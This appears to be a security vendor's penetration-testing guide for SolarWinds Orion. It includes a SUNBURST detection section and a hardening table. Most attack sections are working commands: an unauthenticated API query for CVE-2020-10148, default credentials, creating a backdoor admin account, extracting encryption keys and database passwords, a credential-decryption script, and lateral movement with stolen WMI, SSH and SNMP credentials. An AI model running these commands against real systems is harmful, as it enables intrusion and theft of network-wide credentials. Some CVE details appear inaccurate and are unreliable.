SolarWinds Orion is the network monitoring platform that gave the world the SUNBURST supply chain attack — a backdoored software update that compromised 18,000 organizations including the US Treasury, CISA, and Microsoft. Beyond that historic incident, Orion itself is a high-value target in authorized penetration testing: it is installed throughout large enterprise networks, has privileged access to every device it monitors, stores SNMP community strings and WMI/SSH credentials for thousands of managed systems, and until patched had a trivial authentication bypass. This guide covers authorized Orion security testing methodology for red teams and internal security teams validating their own deployments.
SolarWinds Orion is a Windows-based network management platform. The core application runs as a set of Windows services with a web interface served by IIS. Understanding the architecture is essential to understanding the attack surface — Orion has visibility into every managed device, and the credentials it uses to poll those devices are stored in its database.
SolarWindsOrion.| Service | Default Port | Protocol | Primary Attack Vector |
|---|---|---|---|
| Orion Web Console | 8787 / 443 | HTTP/HTTPS | Authentication bypass, API abuse, credential theft |
| SWIS (Information Service) | 17777 | TCP/HTTPS | SWQL injection, unauthenticated query in older versions |
| SolarWinds Agent | 17790 | TCP | Agent communication interception |
| MSSQL | 1433 | TCP | Direct DB access if credentials found |
| SNMP Trap | 162 | UDP | SNMP community string capture |
| RabbitMQ (newer versions) | 5671 / 15672 | TCP | Message broker credentials, default credentials |
Orion has a distinctive web interface that is easily fingerprinted from the login page. Version information is often exposed in page source, response headers, or the Orion API itself.
# Default Orion ports to scan
nmap -sV -p 80,443,8787,8888,17777,17790 TARGET --open
# Port 8787 is the default non-SSL Orion web console
curl -sk http://TARGET:8787/ -I | head -20
# HTTPS variant
curl -sk https://TARGET/ -I | head -20
# Fingerprint: Orion login page contains distinctive strings
curl -sk http://TARGET:8787/ | grep -i "solarwinds\|orion\|swis\|SWNetPerfMon"
# Check for /Orion/ path (common IIS virtual directory)
curl -sk http://TARGET/Orion/ -L -I
# Orion version from page source
curl -sk http://TARGET:8787/ | grep -i "version\|build\|release"
# The Orion API exposes version information
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=&query=SELECT+ProductName,Version+FROM+Orion.ProductInfo" \
| python3 -m json.tool
# SWIS TCP endpoint version banner
echo "" | nc -w3 TARGET 17777 2>/dev/null | strings | grep -i "solarwinds\|version"
# Check product DLLs via web (sometimes exposed)
curl -sk "http://TARGET:8787/Orion/images/SolarWindsLogo.png" -I
# Last-Modified header may hint at deployment date
# JavaScript files often contain version strings
curl -sk "http://TARGET:8787/" | grep -oP '"version"\s*:\s*"[^"]+"' | head -5
CVE-2020-10148 is an authentication bypass vulnerability in SolarWinds Orion Platform versions 2019.4 HF5, 2020.2 (with no hotfix), and 2020.2 HF1. It was discovered and patched in December 2020, coinciding with the SUNBURST incident. The vulnerability allows an unauthenticated attacker to execute API requests as the Guest account by appending specific query parameters to the URL.
The Orion web application validates authentication for API requests, but a logic flaw in the URL routing allowed specific path segments to bypass authentication. When WebResource.axd or ScriptResource.axd appeared in the URL path before the actual API endpoint, the authentication check was skipped.
# Check if vulnerable — unauthenticated SWIS query
# Affected versions: 2019.4 HF5, 2020.2, 2020.2 HF1
# Method 1: WebResource.axd bypass
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=&query=SELECT+Caption+FROM+Orion.Nodes+LIMIT+5" \
--path-as-is \
-G --data-urlencode "query=SELECT Caption FROM Orion.Nodes LIMIT 5"
# Vulnerable: returns node data without authentication
# Method 2: ScriptResource.axd bypass path
curl -sk "http://TARGET:8787/Orion/SWNetPerfMon.DB/WebResource.axd?" \
--next \
"http://TARGET:8787/api2/swis/query?apitoken=&query=SELECT+Caption,IP_Address+FROM+Orion.Nodes"
# More direct exploitation — use the exact bypass path
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
--data '{"query": "SELECT Caption, IP_Address, NodeID FROM Orion.Nodes LIMIT 10"}' \
-b "SWIS-SessionID=bypass"
# If bypass works, enumerate all managed nodes
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=" \
-G --data-urlencode "query=SELECT Caption, IP_Address, MachineType, Vendor FROM Orion.Nodes ORDER BY Caption"
# Orion Python exploit PoC (for authorized testing)
python3 -c "
import requests
import urllib3
urllib3.disable_warnings()
target = 'https://TARGET:8787'
bypass_path = '/api2/swis/query?apitoken='
query = 'SELECT Caption, IP_Address FROM Orion.Nodes LIMIT 20'
url = f'{target}{bypass_path}'
resp = requests.get(url, params={'query': query}, verify=False, timeout=10)
print(resp.status_code, resp.json())
"
| Version | Vulnerable | Patch Available |
|---|---|---|
| 2019.4 HF5 and earlier | Yes | Upgrade to 2019.4 HF6 |
| 2020.2 (no hotfix) | Yes | Apply HF2 or later |
| 2020.2 HF1 | Yes | Apply HF2 or later |
| 2020.2 HF2 and later | No | N/A |
| 2021.x and later | No | N/A |
SolarWinds Orion ships with a local admin account and typically inherits Active Directory accounts. The default installation creates several well-known accounts that should be tested in authorized engagements.
# Default Orion accounts (test in authorized scope)
admin / admin
admin / (blank)
admin / solarwinds
Admin / Admin
guest / guest
# Orion login endpoint for credential testing
# POST to the login page
curl -sk -X POST "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:admin" \
-d '{"query": "SELECT Username FROM Orion.UserAccounts"}'
# Alternatively, authenticate against the main login
curl -sk -c cookies.txt -X POST "http://TARGET:8787/Orion/Login.aspx" \
--data "ctl00%24ContentPlaceHolder1%24Username=admin&ctl00%24ContentPlaceHolder1%24Password=admin&ctl00%24ContentPlaceHolder1%24btnSubmit=Login"
# Check response for redirect (success) vs error message (failure)
grep -i "location\|error\|invalid" response.txt
# Orion supports API key (token) authentication
# Generate API token from web UI: Settings > My Account > Add Token
# Test with generated token
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-H "Authorization: Basic $(echo -n 'admin:APITOKEN' | base64)" \
-d '{"query": "SELECT * FROM Orion.UserAccounts"}'
# API tokens in Orion are stored in the database
# Retrievable post-exploitation via MSSQL access
Once authenticated (or with CVE-2020-10148), the Orion REST API (SWIS) provides access to all managed infrastructure data. The Information Service exposes a rich SWQL query interface and CRUD operations on all Orion entities.
# Enumerate available SWIS entity types
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT EntityType, URI FROM Metadata.Entity"}'
# List all top-level verbs (SWIS methods)
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT Name, URI FROM Metadata.Verb"}'
# Enumerate all managed nodes with details
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{
"query": "SELECT NodeID, Caption, IP_Address, MachineType, Vendor, OSVersion, CPULoad, MemoryUsed FROM Orion.Nodes ORDER BY Caption"
}'
# Get all network interfaces with credentials
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{
"query": "SELECT InterfaceID, FullName, AdminStatus, OperStatus, Caption FROM Orion.NPM.Interfaces WHERE AdminStatus=1"
}'
# Enumerate all Orion users
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT AccountID, Name, AccountType, Enabled, Password FROM Orion.UserAccounts"}'
# Get alerts and alert thresholds (useful for evasion)
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT AlertID, Name, Description, ObjectType, Enabled FROM Orion.Alert"}'
# Create a new admin user via REST API (if authorized)
curl -sk -X POST "http://TARGET:8787/api2/swis/create/Orion.UserAccounts" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{
"Name": "testaudit",
"Password": "Audit123!",
"AccountType": "Orion",
"AllowNodeManagement": true,
"AllowAdmin": true
}'
# Invoke a SWIS verb (custom action)
curl -sk -X POST "http://TARGET:8787/api2/swis/invoke/Orion.Nodes/PollNow" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"nodeIds": [1, 2, 3]}'
# Read/write operations on node properties
curl -sk -X POST "http://TARGET:8787/api2/swis/update/Orion.Nodes/NodeID=1" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"Caption": "modified-caption"}'
SolarWinds Query Language (SWQL) is a SQL-like query language exposed through the SWIS API. In vulnerable versions, SWQL injection allows privilege escalation or credential extraction from within the database. Even in patched versions, misconfigured API access grants (for example, read-only accounts with broader database permissions than intended) can be exploited.
# SWQL is similar to SQL — test for injection in query parameters
# Inject into queries that accept user-controlled input
# Example: node search by caption
curl -sk "http://TARGET:8787/api2/swis/query?apitoken=" \
-G --data-urlencode "query=SELECT Caption FROM Orion.Nodes WHERE Caption LIKE '%'; SELECT 'injected' --"
# SWQL supports UNION-based extraction
# List all tables (entity types)
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT EntityType, URI, Description FROM Metadata.Entity WHERE EntityType LIKE '"'"'Orion%'"'"' ORDER BY EntityType"}'
# Extract credential-related tables
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT EntityType FROM Metadata.Entity WHERE EntityType LIKE '"'"'%Credential%'"'"' OR EntityType LIKE '"'"'%Password%'"'"' OR EntityType LIKE '"'"'%Secret%'"'"'"}'
# Enumerate the credential store (Orion.Credential entity)
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT CredentialID, Name, Description, Owner, CredentialType FROM Orion.Credential"}'
# Returns names and types of all stored credentials
# Does NOT return plaintext passwords via SWQL (they are encrypted)
# Check for Windows credentials (WMI polling)
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT Name, CredentialType, UserName FROM Orion.Credential WHERE CredentialType LIKE '"'"'%Windows%'"'"' OR CredentialType LIKE '"'"'%WMI%'"'"'"}'
# SSH credentials for Linux/network device monitoring
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT Name, CredentialType, UserName FROM Orion.Credential WHERE CredentialType LIKE '"'"'%SSH%'"'"' OR CredentialType LIKE '"'"'%SNMP%'"'"'"}'
# Which nodes use which credential profiles
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT n.Caption, n.IP_Address, c.Name, c.CredentialType, c.UserName FROM Orion.Nodes n JOIN Orion.Credential c ON n.CredentialID = c.CredentialID"}'
Orion stores credentials for every monitored device — SNMP community strings, Windows/WMI credentials, SSH keys and passwords, SNMP v3 auth/privacy keys, and more. These are encrypted but the encryption key is stored on the Orion server itself, making credential extraction a matter of local access.
SolarWindsOrion MSSQL database in the Orion.Credentials table.SolarWinds.InformationService.exe.config or in the Windows Registry under HKLM\SOFTWARE\SolarWinds\Orion\Core.# On the Orion server (requires local admin or SYSTEM)
# Method 1: Registry key (older versions)
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v EncryptionKey
reg query "HKLM\SOFTWARE\WOW6432Node\SolarWinds\Orion\Core" /v EncryptionKey
# Method 2: SolarWinds config file
type "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.InformationService.exe.config" | findstr /i "key\|encrypt\|secret"
type "C:\Program Files (x86)\SolarWinds\Orion\BusinessLayerHost.exe.config" | findstr /i "key\|password\|secret"
# Method 3: SolarWinds uses a CredentialManager wrapper
# Look for CredentialStore or DPAPI-protected blobs
dir "C:\ProgramData\SolarWinds\" /s /b | findstr /i "key\|secret\|cred"
# Method 4: SolarWinds encrypted credential in database (direct MSSQL approach)
# Connect to SQL Server and extract raw encrypted blobs
sqlcmd -S ORION-SQL-SERVER -d SolarWindsOrion -Q "SELECT CredentialID, Name, CredentialType, UserName, Password FROM dbo.Credential"
# Decrypt using the extracted key (Python example)
python3 -c "
from Crypto.Cipher import AES
import base64
# Replace with extracted key and ciphertext from DB
key = bytes.fromhex('YOUR_HEX_KEY_HERE')
ciphertext = base64.b64decode('ENCRYPTED_CRED_FROM_DB==')
# Orion uses AES-256-CBC; IV is typically prepended
iv = ciphertext[:16]
ct = ciphertext[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ct)
print(plaintext.rstrip(b'\x00').decode('utf-8', errors='ignore'))
"
# SNMP community strings (often plaintext or weakly encrypted)
# Via SWQL if accessible
curl -sk "http://TARGET:8787/api2/swis/query" \
-H "Content-Type: application/json" \
-u "admin:PASS" \
-d '{"query": "SELECT n.Caption, n.IP_Address, s.Community, s.Version FROM Orion.Nodes n JOIN Orion.NodeSNMP s ON n.NodeID = s.NodeID"}'
# Direct MSSQL query for SNMP credentials
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "
SELECT n.Caption, n.IP_Address, n.Community AS SNMPCommunity, n.SNMPVersion
FROM dbo.NodesData n
WHERE n.Community IS NOT NULL AND n.Community != ''
ORDER BY n.Caption"
The SolarWinds Orion database is Microsoft SQL Server. The database credentials are stored in Orion configuration files on the server. With local admin access or access to the config files, you can extract the SQL credentials and connect directly to the database — bypassing all Orion API-level authentication.
# SolarWinds DB connection string location
type "C:\ProgramData\SolarWinds\Orion\SolarWinds.InformationService.exe.config"
# Look for:
# Contains: Data Source=SERVER;Initial Catalog=SolarWindsOrion;User ID=oriondb;Password=CLEARTEXT_PASSWORD
# Alternative config locations
type "C:\Program Files (x86)\SolarWinds\Orion\Database.config"
type "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.BusinessLayerHost.exe.config"
type "C:\ProgramData\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.DatabaseConfiguration.config"
# Registry-based DB config (some versions)
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v "DatabaseServerName"
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v "DatabaseCredentials"
# Search for connection strings across all Orion configs
findstr /i /s /m "Data Source\|connectionString\|password" "C:\Program Files (x86)\SolarWinds\*.config"
# Connect to the Orion MSSQL database
sqlcmd -S ORION-DB-SERVER -d SolarWindsOrion -U oriondb -P 'EXTRACTED_PASSWORD'
# Extract all user accounts and hashed/encrypted passwords
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT AccountID, Name, Password, AccountType, Enabled FROM dbo.Accounts"
# Extract all stored credentials (encrypted blobs)
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT CredentialID, Name, CredentialType, UserName, Password, Owner FROM dbo.Credential ORDER BY CredentialType"
# Find SNMP community strings
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT Caption, IP_Address, Community, SNMPVersion FROM dbo.NodesData WHERE Community != '' ORDER BY Caption"
# Extract WMI (Windows Management Instrumentation) credentials
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "
SELECT n.Caption, n.IP_Address, c.Name, c.UserName, c.Password
FROM dbo.NodesData n
JOIN dbo.NodeSettings ns ON n.NodeID = ns.NodeID
JOIN dbo.Credential c ON ns.SettingValue = CAST(c.CredentialID AS VARCHAR(20))
WHERE ns.SettingName = 'WinRM.CredentialID'"
# Check for stored API tokens / integrations
sqlcmd -S ORION-DB -d SolarWindsOrion -Q "SELECT * FROM dbo.Settings WHERE SettingName LIKE '%token%' OR SettingName LIKE '%secret%' OR SettingName LIKE '%key%'"
The SUNBURST attack (CVE-2020-14005) embedded a backdoor into the SolarWinds Orion build process. Signed software updates containing the SUNBURST implant were distributed to 18,000 customers. Understanding the mechanics helps defenders identify similar supply chain attack patterns in their own environments.
SolarWinds.Orion.Core.BusinessLayer.dll during the build process.avsvmcloud.com). The subdomain encoded the victim's hostname, domain, and internal IP as base32 in the DNS query. Responses directed the implant to its next action.# Check for SUNBURST-affected DLL versions (SHA-256 hashes)
# Malicious versions of SolarWinds.Orion.Core.BusinessLayer.dll:
# a25cadd48d70f6ea0c4a241d99c5d1f1b3c985d4ab9b763d90197acd3f3d478e
# d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600
# 019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134
# PowerShell: check installed DLL version
Get-Item "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll" | Select-Object VersionInfo
# Hash check
Get-FileHash "C:\Program Files (x86)\SolarWinds\Orion\SolarWinds.Orion.Core.BusinessLayer.dll" -Algorithm SHA256
# DNS logs: look for avsvmcloud.com queries
# The subdomain pattern was: [encoded-hostname].[random].avsvmcloud.com
grep -i "avsvmcloud" /var/log/named/query.log 2>/dev/null
# Windows DNS: check Event ID 2 in DNS-Server/Analytical log
# Check registry for SUNBURST persistence
reg query "HKLM\SOFTWARE\SolarWinds\Orion\Core" /v ReportWatcherRetry
# SUNBURST stored its state in this registry key
A compromised Orion server is a pivot point into everything it monitors. The blast radius depends entirely on the scope of Orion's deployment, but in large enterprise environments it is enormous.
# Use extracted WMI credentials to access monitored Windows systems
wmic /node:"TARGET-SERVER" /user:"DOMAIN\orion-svc" /password:"EXTRACTED_PASS" \
process call create "whoami > C:\Temp\out.txt"
# PowerShell remoting with extracted service account
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\orion-svc", (ConvertTo-SecureString "EXTRACTED_PASS" -AsPlainText -Force))
Invoke-Command -ComputerName TARGET-SERVER -Credential $cred -ScriptBlock { whoami; hostname }
# SNMP read-write: reconfigure network devices
snmpset -v2c -c EXTRACTED_COMMUNITY ROUTER_IP \
1.3.6.1.2.1.1.5.0 s "compromised-router"
# SSH to monitored Linux/network devices
ssh orion-monitoring@LINUX-SERVER -i /path/to/extracted-key "id; hostname"
SolarWinds Orion hardening requires both patching and architectural controls. The platform's inherent visibility into the entire network means a compromise has catastrophic blast radius — every control listed below is critical.
| Control | Priority | Notes |
|---|---|---|
| Patch to latest Orion version | Critical | CVE-2020-10148 and SUNBURST were patched in Dec 2020; unpatched installs should not be connected to the network |
| Verify software integrity | Critical | Compare DLL hashes against SolarWinds' published SHA-256 values; re-download if uncertain |
| Change default admin credentials | Critical | admin/admin is unacceptable; enforce MFA on Orion web console |
| Network isolate the Orion server | High | Orion should not have outbound internet access; use a proxy or firewall. SUNBURST exploited outbound DNS and HTTPS |
| Use least-privilege monitoring accounts | High | Create dedicated read-only service accounts per device type; rotate regularly |
| Restrict SWIS API access | High | Firewall port 17777; require authentication for all SWIS queries |
| Protect the Orion SQL Server | High | SQL Server should not be internet-facing; use Windows Authentication; rotate oriondb credentials |
| Enable Orion audit logging | Medium | Log all admin actions, API calls, and credential usage changes; ship to SIEM |
| Monitor for SUNBURST IOCs | High | Check DNS logs for avsvmcloud.com queries; audit DLL hashes after every update |
| Implement SNMP v3 everywhere | Medium | v1/v2c community strings are cleartext; v3 provides auth + encryption |
Ironimo's Kali Linux-powered scanning engine detects exposed SolarWinds Orion instances, tests authentication controls, and identifies credential exposure risks across your monitored infrastructure — without manual tool setup.
Start free scan